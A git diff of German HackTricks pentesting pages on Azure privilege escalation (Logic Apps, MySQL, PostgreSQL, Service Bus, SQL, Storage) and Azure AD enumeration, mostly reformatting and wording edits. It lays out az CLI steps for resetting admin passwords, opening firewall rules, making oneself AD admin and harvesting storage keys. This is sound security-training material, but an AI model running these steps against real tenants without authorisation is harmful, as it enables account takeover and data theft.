Veröffentlichungsanmeldeinformationen, das Schreiben von Änderungen und das Auflisten von App-Konfigurationen. Neben den Startberechtigungen können Sie eine neue Logic App mit dem gewünschten Inhalt aktualisieren und bereitstellen. - -{% code overflow="wrap" %} +### (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/basicPublishingCredentialsPolicies/read`, `Microsoft.Web/sites/write`, `Microsoft.Web/sites/config/list/action`) && (`Microsoft.Web/sites/start/action`) +Mit diesen Berechtigungen können Sie Logic App-Workflows mithilfe von ZIP-Datei-Bereitstellungen bereitstellen. Diese Berechtigungen ermöglichen Aktionen wie das Lesen von App-Details, den Zugriff auf Veröffentlichungsanmeldeinformationen, das Schreiben von Änderungen und das Auflisten von App-Konfigurationen. Neben den Startberechtigungen können Sie eine neue Logic App mit dem gewünschten Inhalt aktualisieren und bereitstellen. ```bash az logicapp deployment source config-zip \ --name \ --resource-group \ --src ``` -{% endcode %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md index 2d5139fab..3d4c0d412 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md @@ -2,19 +2,16 @@ {{#include ../../../banners/hacktricks-training.md}} - ## MySQL-Datenbank-Privesc Für weitere Informationen zur SQL-Datenbank siehe: -{% content-ref url="../az-services/az-mysql.md" %} -[az-mysql.md](../az-services/az-mysql.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-mysql.md +{{#endref}} -### ""Microsoft.DBforMySQL/flexibleServers/read" && "Microsoft.DBforMySQL/flexibleServers/write" +### `Microsoft.DBforMySQL/flexibleServers/read` && `Microsoft.DBforMySQL/flexibleServers/write` Mit dieser Berechtigung können Sie MySQL Flexible Server-Instanzen auf Azure erstellen, aktualisieren oder löschen. Dies umfasst die Bereitstellung neuer Server, die Modifizierung bestehender Serverkonfigurationen oder die Stilllegung von Servern. - -{% code overflow="wrap" %} ```bash az mysql flexible-server create \ --name \ @@ -27,32 +24,20 @@ az mysql flexible-server create \ --tier \ --version ``` -{% endcode %} - Zum Beispiel erlauben diese Berechtigungen das Ändern des MySQL-Passworts, was natürlich nützlich ist, falls die MySQL-Authentifizierung aktiviert ist. - -{% code overflow="wrap" %} ```bash az mysql flexible-server update \ --resource-group \ --name \ --admin-password ``` -{% endcode %} - Zusätzlich ist es notwendig, den öffentlichen Zugriff zu aktivieren, wenn Sie von einem nicht privaten Endpunkt aus zugreifen möchten. Um dies zu aktivieren: - -{% code overflow="wrap" %} ```bash az mysql flexible-server update --resource-group --server-name --public-access Enabled ``` -{% endcode %} +### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforMySQL/flexibleServers/administrators/write` && `Microsoft.DBforMySQL/flexibleServers/administrators/read` -### ""Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforMySQL/flexibleServers/administrators/write" && "Microsoft.DBforMySQL/flexibleServers/administrators/read"" - -Mit dieser Berechtigung können Sie Azure Active Directory (AD) Administratoren für einen MySQL Flexible Server konfigurieren. Dies kann ausgenutzt werden, indem man sich selbst oder ein anderes Konto als AD-Administrator festlegt, was vollständige administrative Kontrolle über den MySQL-Server gewährt. Es ist wichtig, dass der flexible Server über zugewiesene verwaltete Identitäten verfügt, um dies zu nutzen. - -{% code overflow="wrap" %} +Mit dieser Berechtigung können Sie Azure Active Directory (AD) Administratoren für einen MySQL Flexible Server konfigurieren. Dies kann ausgenutzt werden, indem man sich selbst oder ein anderes Konto als AD-Administrator festlegt, was vollständige administrative Kontrolle über den MySQL-Server gewährt. Es ist wichtig, dass der flexible Server über zugewiesene verwaltete Identitäten verfügt, die verwendet werden können. ```bash az mysql flexible-server ad-admin create \ --resource-group \ @@ -61,6 +46,4 @@ az mysql flexible-server ad-admin create \ --identity \ --object-id ``` -{% endcode %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md index a72662bc9..4043bfcf2 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md @@ -5,15 +5,13 @@ ## PostgreSQL Privesc Für weitere Informationen zur SQL-Datenbank siehe: -{% content-ref url="../az-services/az-postgresql.md" %} +{{#ref}} [az-postgresql.md](../az-services/az-postgresql.md) -{% endcontent-ref %} +{{#endref}} -### "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/write" +### `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/write` Mit dieser Berechtigung können Sie PostgreSQL Flexible Server-Instanzen auf Azure erstellen, aktualisieren oder löschen. Dies umfasst die Bereitstellung neuer Server, die Modifizierung bestehender Serverkonfigurationen oder die Stilllegung von Servern. - -{% code overflow="wrap" %} ```bash az postgres flexible-server create \ --name \ @@ -26,34 +24,22 @@ az postgres flexible-server create \ --tier \ --version ``` -{% endcode %} - Zum Beispiel erlauben diese Berechtigungen das Ändern des PostgreSQL-Passworts, was natürlich nützlich ist, falls die PostgreSQL-Authentifizierung aktiviert ist. - -{% code overflow="wrap" %} ```bash az postgres flexible-server update \ --resource-group \ --name \ --admin-password ``` -{% endcode %} - -Zusätzlich ist es notwendig, den öffentlichen Zugriff zu aktivieren, wenn Sie von einem nicht privaten Endpunkt aus zugreifen möchten. Um dies zu aktivieren: - -{% code overflow="wrap" %} +Zusätzlich ist es notwendig, den öffentlichen Zugriff zu aktivieren, wenn Sie von einem nicht privaten Endpunkt aus zugreifen möchten. Um ihn zu aktivieren: ```bash az postgres flexible-server update --resource-group --server-name --public-access Enabled ``` -{% endcode %} +### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforPostgreSQL/flexibleServers/administrators/write` && `Microsoft.DBforPostgreSQL/flexibleServers/administrators/read` -### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforPostgreSQL/flexibleServers/administrators/write" && "Microsoft.DBforPostgreSQL/flexibleServers/administrators/read" +Mit dieser Berechtigung können Sie Azure Active Directory (AD) Administratoren für einen PostgreSQL Flexible Server konfigurieren. Dies kann ausgenutzt werden, indem man sich selbst oder ein anderes Konto als AD-Administrator festlegt, was vollständige administrative Kontrolle über den PostgreSQL-Server gewährt. Das Aktualisieren bestehender Prinzipale wird derzeit noch nicht unterstützt, daher müssen Sie, wenn bereits einer erstellt wurde, diesen zuerst löschen. -Mit dieser Berechtigung können Sie Azure Active Directory (AD) Administratoren für einen PostgreSQL Flexible Server konfigurieren. Dies kann ausgenutzt werden, indem man sich selbst oder ein anderes Konto als AD-Administrator festlegt, was vollständige administrative Kontrolle über den PostgreSQL-Server gewährt. Das Aktualisieren bestehender Principal wird derzeit noch nicht unterstützt, daher müssen Sie, wenn bereits einer erstellt wurde, diesen zuerst löschen. - -Es ist wichtig, dass der flexible Server eine benutzerzugewiesene verwaltete Identität hat, die verwendet werden kann. - -{% code overflow="wrap" %} +Es ist wichtig, dass der flexible Server über zugewiesene verwaltete Identitäten verfügt, die verwendet werden können. ```bash az postgres flexible-server ad-admin create \ --resource-group \ @@ -62,6 +48,4 @@ az postgres flexible-server ad-admin create \ --identity \ --object-id ``` -{% endcode %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md index be6540f28..e24756e2b 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md @@ -12,7 +12,7 @@ Für weitere Informationen siehe: ### Nachrichten senden. Aktion: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` ODER `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action` -Sie können die `PrimaryConnectionString` abrufen, die als Anmeldeinformation für den Service Bus-Namespace fungiert. Mit dieser Verbindungszeichenfolge können Sie sich vollständig als der Service Bus-Namespace authentifizieren, was es Ihnen ermöglicht, Nachrichten an jede Warteschlange oder jedes Thema zu senden und potenziell mit dem System auf eine Weise zu interagieren, die den Betrieb stören, gültige Benutzer impersonieren oder bösartige Daten in den Messaging-Workflow injizieren könnte. +Sie können die `PrimaryConnectionString` abrufen, die als Anmeldeinformation für den Service Bus-Namespace fungiert. Mit dieser Verbindungszeichenfolge können Sie sich vollständig als der Service Bus-Namespace authentifizieren, was es Ihnen ermöglicht, Nachrichten an jede Warteschlange oder jedes Thema zu senden und potenziell mit dem System auf eine Weise zu interagieren, die den Betrieb stören, gültige Benutzer impersonieren oder bösartige Daten in den Nachrichtenworkflow injizieren könnte. ```python #You need to install the following libraries #pip install azure-servicebus @@ -127,7 +127,7 @@ asyncio.run(receive_and_process_messages()) print("Message Receiving Completed") print("----------------------------") ``` -### `Microsoft.ServiceBus/namespaces/authorizationRules/write` & `Microsoft.ServiceBus/namespaces/authorizationRules/write` +### `Microsoft.ServiceBus/namespaces/authorizationRules/read` & `Microsoft.ServiceBus/namespaces/authorizationRules/write` Wenn Sie über diese Berechtigungen verfügen, können Sie Privilegien erhöhen, indem Sie gemeinsame Zugriffsschlüssel lesen oder erstellen. Diese Schlüssel ermöglichen die vollständige Kontrolle über den Service Bus-Namespace, einschließlich der Verwaltung von Warteschlangen, Themen und dem Senden/Empfangen von Nachrichten, wodurch möglicherweise rollenbasierte Zugriffskontrollen (RBAC) umgangen werden. ```bash diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md index 7757ac8e6..565416012 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md @@ -10,7 +10,7 @@ Für weitere Informationen zur SQL-Datenbank siehe: ../az-services/az-sql.md {{#endref}} -### "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/write" +### `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/write` Mit diesen Berechtigungen kann ein Benutzer eine Privilegieneskalation durchführen, indem er Azure SQL-Server aktualisiert oder erstellt und kritische Konfigurationen, einschließlich administrativer Anmeldeinformationen, ändert. Diese Berechtigung ermöglicht es dem Benutzer, Servereigenschaften zu aktualisieren, einschließlich des SQL-Server-Admin-Passworts, was unbefugten Zugriff oder Kontrolle über den Server ermöglicht. Sie können auch neue Server erstellen, was potenziell Schatteninfrastruktur für böswillige Zwecke einführt. Dies wird besonders kritisch in Umgebungen, in denen "Microsoft Entra Authentication Only" deaktiviert ist, da sie SQL-basierte Authentifizierung ausnutzen können, um uneingeschränkten Zugriff zu erhalten. ```bash @@ -35,9 +35,9 @@ az sql server update \ --resource-group \ --enable-public-network true ``` -### "Microsoft.Sql/servers/firewallRules/write" +### `Microsoft.Sql/servers/firewallRules/write` -Ein Angreifer kann Firewall-Regeln auf Azure SQL-Servern manipulieren, um unbefugten Zugriff zu ermöglichen. Dies kann ausgenutzt werden, um den Server für bestimmte IP-Adressen oder ganze IP-Bereiche, einschließlich öffentlicher IPs, zu öffnen, wodurch der Zugriff für böswillige Akteure ermöglicht wird. Diese Post-Exploitation-Aktivität kann verwendet werden, um bestehende Netzwerksicherheitskontrollen zu umgehen, Persistenz zu etablieren oder laterale Bewegungen innerhalb der Umgebung zu erleichtern, indem sensible Ressourcen exponiert werden. +Ein Angreifer kann Firewall-Regeln auf Azure SQL-Servern manipulieren, um unbefugten Zugriff zu ermöglichen. Dies kann ausgenutzt werden, um den Server für bestimmte IP-Adressen oder gesamte IP-Bereiche, einschließlich öffentlicher IPs, zu öffnen, wodurch der Zugriff für böswillige Akteure ermöglicht wird. Diese Post-Exploitation-Aktivität kann verwendet werden, um bestehende Netzwerksicherheitskontrollen zu umgehen, Persistenz zu etablieren oder laterale Bewegungen innerhalb der Umgebung zu erleichtern, indem sensible Ressourcen exponiert werden. ```bash # Create Firewall Rule az sql server firewall-rule create \ @@ -58,9 +58,9 @@ az sql server firewall-rule update \ Zusätzlich ermöglicht die Berechtigung `Microsoft.Sql/servers/outboundFirewallRules/delete` das Löschen einer Firewallregel. HINWEIS: Es ist erforderlich, den öffentlichen Zugriff zu aktivieren. -### ""Microsoft.Sql/servers/ipv6FirewallRules/write" +### `Microsoft.Sql/servers/ipv6FirewallRules/write` -Mit dieser Berechtigung können Sie IPv6-Firewallregeln auf einem Azure SQL-Server erstellen, ändern oder löschen. Dies könnte einem Angreifer oder autorisierten Benutzer ermöglichen, bestehende Netzwerksicherheitskonfigurationen zu umgehen und unbefugten Zugriff auf den Server zu erhalten. Durch das Hinzufügen einer Regel, die den Datenverkehr von jeder IPv6-Adresse erlaubt, könnte der Angreifer den Server für externen Zugriff öffnen. +Mit dieser Berechtigung können Sie IPv6-Firewallregeln auf einem Azure SQL Server erstellen, ändern oder löschen. Dies könnte einem Angreifer oder autorisierten Benutzer ermöglichen, bestehende Netzwerksicherheitskonfigurationen zu umgehen und unbefugten Zugriff auf den Server zu erlangen. Durch das Hinzufügen einer Regel, die den Datenverkehr von jeder IPv6-Adresse erlaubt, könnte der Angreifer den Server für externen Zugriff öffnen. ```bash az sql server firewall-rule create \ --server \ @@ -72,7 +72,7 @@ az sql server firewall-rule create \ Zusätzlich ermöglicht die Berechtigung `Microsoft.Sql/servers/ipv6FirewallRules/delete` das Löschen einer Firewall-Regel. HINWEIS: Es ist erforderlich, den öffentlichen Zugriff zu aktivieren. -### "Microsoft.Sql/servers/administrators/write" && "Microsoft.Sql/servers/administrators/read" +### `Microsoft.Sql/servers/administrators/write` && `Microsoft.Sql/servers/administrators/read` Mit diesen Berechtigungen können Sie in einer Azure SQL Server-Umgebung Privilegien erhöhen, indem Sie auf SQL-Datenbanken zugreifen und kritische Informationen abrufen. Mit dem folgenden Befehl kann ein Angreifer oder autorisierter Benutzer sich selbst oder ein anderes Konto als Azure AD-Administrator festlegen. Wenn "Microsoft Entra Authentication Only" aktiviert ist, können Sie auf den Server und seine Instanzen zugreifen. Hier ist der Befehl, um den Azure AD-Administrator für einen SQL-Server festzulegen: ```bash @@ -82,9 +82,9 @@ az sql server ad-admin create \ --display-name \ --object-id ``` -### "Microsoft.Sql/servers/azureADOnlyAuthentications/write" && "Microsoft.Sql/servers/azureADOnlyAuthentications/read" +### `Microsoft.Sql/servers/azureADOnlyAuthentications/write` && `Microsoft.Sql/servers/azureADOnlyAuthentications/read` -Mit diesen Berechtigungen können Sie "Microsoft Entra Authentication Only" auf einem Azure SQL Server konfigurieren und durchsetzen, was in bestimmten Szenarien die Privilegieneskalation erleichtern könnte. Ein Angreifer oder ein autorisierter Benutzer mit diesen Berechtigungen kann die Azure AD-Authentifizierung nur aktivieren oder deaktivieren. +Mit diesen Berechtigungen können Sie "Microsoft Entra Authentication Only" auf einem Azure SQL Server konfigurieren und durchsetzen, was in bestimmten Szenarien eine Privilegieneskalation erleichtern könnte. Ein Angreifer oder ein autorisierter Benutzer mit diesen Berechtigungen kann die Azure AD-Only-Authentifizierung aktivieren oder deaktivieren. ```bash #Enable az sql server azure-ad-only-auth enable \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md index 01b128841..e9861b460 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md @@ -10,21 +10,21 @@ Für weitere Informationen über Speicher siehe: ../az-services/az-storage.md {{#endref}} -### Microsoft.Storage/storageAccounts/listkeys/action +### `Microsoft.Storage/storageAccounts/listkeys/action` Ein Principal mit dieser Berechtigung kann die **Zugriffsschlüssel** der Speicherkonten auflisten (und die geheimen Werte). Dies ermöglicht es dem Principal, seine Berechtigungen über die Speicherkonten zu eskalieren. ```bash az storage account keys list --account-name ``` -### Microsoft.Storage/storageAccounts/regenerateKey/action +### `Microsoft.Storage/storageAccounts/regenerateKey/action` Ein Principal mit dieser Berechtigung kann die **Zugriffsschlüssel** der Speicherkonten erneuern und den neuen geheimen Wert abrufen. Dies ermöglicht es dem Principal, seine Berechtigungen über die Speicherkonten zu eskalieren. -Darüber hinaus erhält der Benutzer in der Antwort den Wert des erneuerten Schlüssels sowie den des nicht erneuerten: +Darüber hinaus erhält der Benutzer in der Antwort den Wert des erneuerten Schlüssels sowie den des nicht erneuerten Schlüssels: ```bash az storage account keys renew --account-name --key key2 ``` -### Microsoft.Storage/storageAccounts/write +### `Microsoft.Storage/storageAccounts/write` Ein Principal mit dieser Berechtigung kann ein bestehendes Speicherkonto erstellen oder aktualisieren und dabei Einstellungen wie Netzwerkregeln oder Richtlinien ändern. ```bash @@ -36,12 +36,12 @@ az storage account update --name --add networkRuleSet.ipRules value=< ``` ## Blobs spezifische Privilegieneskalation -### Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write | Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete +### `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write` | `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete` -Die erste Berechtigung erlaubt es, **Unveränderlichkeitspolitiken** in Containern zu **ändern** und die zweite, sie zu **löschen**. +Die erste Berechtigung erlaubt es, **Immutabilitätsrichtlinien** in Containern zu **ändern** und die zweite, sie zu **löschen**. > [!NOTE] -> Beachten Sie, dass Sie, wenn sich eine Unveränderlichkeitspolitik im Sperrstatus befindet, keines von beidem tun können. +> Beachten Sie, dass Sie, wenn sich eine Immutabilitätsrichtlinie im Sperrstatus befindet, keine der beiden Aktionen durchführen können. ```bash az storage container immutability-policy delete \ --account-name \ @@ -56,21 +56,21 @@ az storage container immutability-policy update \ ``` ## Dateifreigaben spezifische Privilegieneskalation -### Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action +### `Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action` Dies sollte es einem Benutzer mit dieser Berechtigung ermöglichen, das Eigentum an Dateien im gemeinsamen Dateisystem zu übernehmen. -### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action +### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action` Dies sollte es einem Benutzer mit dieser Berechtigung ermöglichen, die Berechtigungen von Dateien im gemeinsamen Dateisystem zu ändern. -### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action +### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action` Dies sollte es einem Benutzer mit dieser Berechtigung ermöglichen, Aktionen innerhalb eines Dateisystems als Superuser auszuführen. -### Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read) +### `Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)` -Mit dieser Berechtigung kann ein Angreifer einen neuen lokalen Benutzer für ein Azure Storage-Konto (konfiguriert mit hierarchischem Namensraum) erstellen und aktualisieren (wenn er die Berechtigung `Microsoft.Storage/storageAccounts/localusers/read` hat), einschließlich der Angabe der Berechtigungen und des Heimatverzeichnisses des Benutzers. Diese Berechtigung ist bedeutend, da sie dem Angreifer ermöglicht, sich selbst ein Speicher-Konto mit spezifischen Berechtigungen wie Lesen (r), Schreiben (w), Löschen (d) und Auflisten (l) und mehr zu gewähren. Zusätzlich können die Authentifizierungsmethoden, die hierfür verwendet werden, Azure-generierte Passwörter und SSH-Schlüsselpaare sein. Es gibt keine Überprüfung, ob ein Benutzer bereits existiert, sodass Sie andere Benutzer, die bereits vorhanden sind, überschreiben können. Der Angreifer könnte seine Privilegien eskalieren und SSH-Zugriff auf das Speicher-Konto erhalten, was potenziell sensible Daten offenlegen oder gefährden könnte. +Mit dieser Berechtigung kann ein Angreifer einen neuen lokalen Benutzer für ein Azure Storage-Konto (konfiguriert mit hierarchischem Namensraum) erstellen und aktualisieren (wenn er die Berechtigung `Microsoft.Storage/storageAccounts/localusers/read` hat), einschließlich der Angabe der Berechtigungen und des Heimatverzeichnisses des Benutzers. Diese Berechtigung ist bedeutend, da sie dem Angreifer ermöglicht, sich selbst ein Speicher-Konto mit spezifischen Berechtigungen wie Lesen (r), Schreiben (w), Löschen (d) und Auflisten (l) und mehr zu gewähren. Zusätzlich können die Authentifizierungsmethoden, die hierfür verwendet werden, von Azure generierte Passwörter und SSH-Schlüsselpaare sein. Es gibt keine Überprüfung, ob ein Benutzer bereits existiert, sodass Sie andere Benutzer, die bereits vorhanden sind, überschreiben können. Der Angreifer könnte seine Privilegien eskalieren und SSH-Zugriff auf das Speicher-Konto erhalten, was potenziell sensible Daten offenlegen oder gefährden könnte. ```bash az storage account local-user create \ --account-name \ @@ -80,7 +80,7 @@ az storage account local-user create \ --home-directory \ --has-ssh-key false/true # Depends on the auth method to use ``` -### Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action +### `Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action` Mit dieser Berechtigung kann ein Angreifer das Passwort für einen lokalen Benutzer in einem Azure Storage-Konto regenerieren. Dies gewährt dem Angreifer die Möglichkeit, neue Authentifizierungsanmeldeinformationen (wie ein SSH- oder SFTP-Passwort) für den Benutzer zu erhalten. Durch die Nutzung dieser Anmeldeinformationen könnte der Angreifer unbefugten Zugriff auf das Storage-Konto erlangen, Dateiübertragungen durchführen oder Daten innerhalb der Speicherkonten manipulieren. Dies könnte zu Datenlecks, -beschädigungen oder böswilligen Änderungen des Inhalts des Storage-Kontos führen. ```bash @@ -89,12 +89,12 @@ az storage account local-user regenerate-password \ --resource-group \ --name ``` -Um auf Azure Blob Storage über SFTP zuzugreifen (is_hns_enabled sollte wahr sein), können Sie sich mit einem lokalen Benutzer über SFTP verbinden (Sie können auch einen SSH-Schlüssel zur Verbindung verwenden): +Um auf Azure Blob Storage über SFTP zuzugreifen (is_hns_enabled sollte wahr sein) und einen lokalen Benutzer über SFTP zu verwenden, können Sie (Sie können auch einen SSH-Schlüssel zur Verbindung verwenden): ```bash sftp .@.blob.core.windows.net #regenerated-password ``` -### Microsoft.Storage/storageAccounts/restoreBlobRanges/action, Microsoft.Storage/storageAccounts/blobServices/containers/read, Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action +### `Microsoft.Storage/storageAccounts/restoreBlobRanges/action`, `Microsoft.Storage/storageAccounts/blobServices/containers/read`, `Microsoft.Storage/storageAccounts/read` && `Microsoft.Storage/storageAccounts/listKeys/action` Mit diesen Berechtigungen kann ein Angreifer einen gelöschten Container wiederherstellen, indem er dessen gelöschte Versions-ID angibt, oder spezifische Blobs innerhalb eines Containers wiederherstellen, wenn sie zuvor weich gelöscht wurden. Diese Privilegieneskalation könnte es einem Angreifer ermöglichen, sensible Daten wiederherzustellen, die dauerhaft gelöscht werden sollten, was potenziell zu unbefugtem Zugriff führen könnte. ```bash @@ -110,7 +110,7 @@ az storage blob undelete \ --container-name \ --name "fileName.txt" ``` -### Microsoft.Storage/storageAccounts/fileServices/shares/restore/action && Microsoft.Storage/storageAccounts/read +### `Microsoft.Storage/storageAccounts/fileServices/shares/restore/action` && `Microsoft.Storage/storageAccounts/read` Mit diesen Berechtigungen kann ein Angreifer einen gelöschten Azure-Dateifreigabe wiederherstellen, indem er dessen gelöschte Versions-ID angibt. Diese Privilegieneskalation könnte es einem Angreifer ermöglichen, sensible Daten wiederherzustellen, die dauerhaft gelöscht werden sollten, was potenziell zu unbefugtem Zugriff führen könnte. ```bash diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md index 141af6b77..9d9e79353 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md +++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md @@ -186,7 +186,7 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token Wenn Sie sich über die **CLI** bei Azure mit einem Programm anmelden, verwenden Sie eine **Azure-Anwendung** aus einem **Mandanten**, der zu **Microsoft** gehört. Diese Anwendungen, wie die, die Sie in Ihrem Konto erstellen können, **haben eine Client-ID**. Sie **werden nicht alle sehen können** in den **erlaubten Anwendungslisten**, die Sie in der Konsole sehen können, **aber sie sind standardmäßig erlaubt**. -Zum Beispiel verwendet ein **PowerShell-Skript**, das sich **authentifiziert**, eine App mit der Client-ID **`1950a258-227b-4e31-a9cf-717495945fc2`**. Selbst wenn die App nicht in der Konsole angezeigt wird, könnte ein Sysadmin **diese Anwendung blockieren**, sodass Benutzer nicht über Tools, die sich über diese App verbinden, darauf zugreifen können. +Zum Beispiel verwendet ein **PowerShell-Skript**, das sich **authentifiziert**, eine App mit der Client-ID **`1950a258-227b-4e31-a9cf-717495945fc2`**. Selbst wenn die App nicht in der Konsole angezeigt wird, könnte ein Systemadministrator **diese Anwendung blockieren**, sodass Benutzer nicht über Tools, die sich über diese App verbinden, darauf zugreifen können. Es gibt jedoch **andere Client-IDs** von Anwendungen, die **es Ihnen ermöglichen, sich mit Azure zu verbinden**: ```bash @@ -597,7 +597,7 @@ Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalMembersh {{#endtabs }} > [!WARNING] -> Der Eigentümer eines Service Principal kann sein Passwort ändern. +> Der Eigentümer eines Dienstprinzipals kann sein Passwort ändern.
@@ -798,11 +798,11 @@ Get-AzureADApplication -ObjectId | Get-AzureADApplicationOwner |fl * > [!NOTE] > Ein geheimer String, den die Anwendung verwendet, um ihre Identität bei der Anforderung eines Tokens zu beweisen, ist das Anwendungskennwort.\ > Wenn Sie also dieses **Kennwort** finden, können Sie als **Service Principal** **innerhalb** des **Mandanten** zugreifen.\ -> Beachten Sie, dass dieses Kennwort nur sichtbar ist, wenn es generiert wird (Sie können es ändern, aber nicht erneut abrufen).\ +> Beachten Sie, dass dieses Kennwort nur sichtbar ist, wenn es generiert wird (Sie könnten es ändern, aber Sie können es nicht erneut abrufen).\ > Der **Besitzer** der **Anwendung** kann ihr **ein Kennwort hinzufügen** (damit er sich als diese ausgeben kann).\ > Anmeldungen als diese Service Principals sind **nicht als riskant gekennzeichnet** und sie **werden kein MFA haben.** -Es ist möglich, eine Liste von häufig verwendeten App-IDs, die zu Microsoft gehören, unter [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) zu finden. +Es ist möglich, eine Liste von häufig verwendeten App-IDs, die zu Microsoft gehören, in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) zu finden. ### Managed Identities @@ -892,16 +892,9 @@ Get-AzRoleAssignment -Scope /subscriptions//resourceGroups//members" -# Liste der Entra ID-Rollen, die einem Benutzer zugewiesen sind +# List Entra ID roles assigned to a user az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/users//memberOf/microsoft.graph.directoryRole" \ --query "value[]" \ --output json -# Liste der Entra ID-Rollen, die einer Gruppe zugewiesen sind +# List Entra ID roles assigned to a group az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \ --query "value[]" \ --output json -# Liste der Entra ID-Rollen, die einem Dienstprinzipal zugewiesen sind +# List Entra ID roles assigned to a service principal az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \ --query "value[]" \ --output json ``` - {{#endtab }} {{#tab name="Azure AD" }} - ```bash -# Alle verfügbaren Rollenvorlagen abrufen +# Get all available role templates Get-AzureADDirectoryroleTemplate -# Aktivierte Rollen (Zugewiesene Rollen) +# Get enabled roles (Assigned roles) Get-AzureADDirectoryRole -Get-AzureADDirectoryRole -ObjectId # Informationen über die Rolle abrufen -# Benutzerdefinierte Rollen - verwenden Sie AzureAdPreview +Get-AzureADDirectoryRole -ObjectId #Get info about the role +# Get custom roles - use AzureAdPreview Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName -# Benutzer, die einer Rolle zugewiesen sind (Global Administrator) +# Users assigned a role (Global Administrator) Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember Get-AzureADDirectoryRole -ObjectId | fl -# Rollen der Administrativen Einheit (wer Berechtigungen über die administrative Einheit und ihre Mitglieder hat) +# Roles of the Administrative Unit (who has permissions over the administrative unit and its members) Get-AzureADMSScopedRoleMembership -Id | fl * ``` - {{#endtab }} 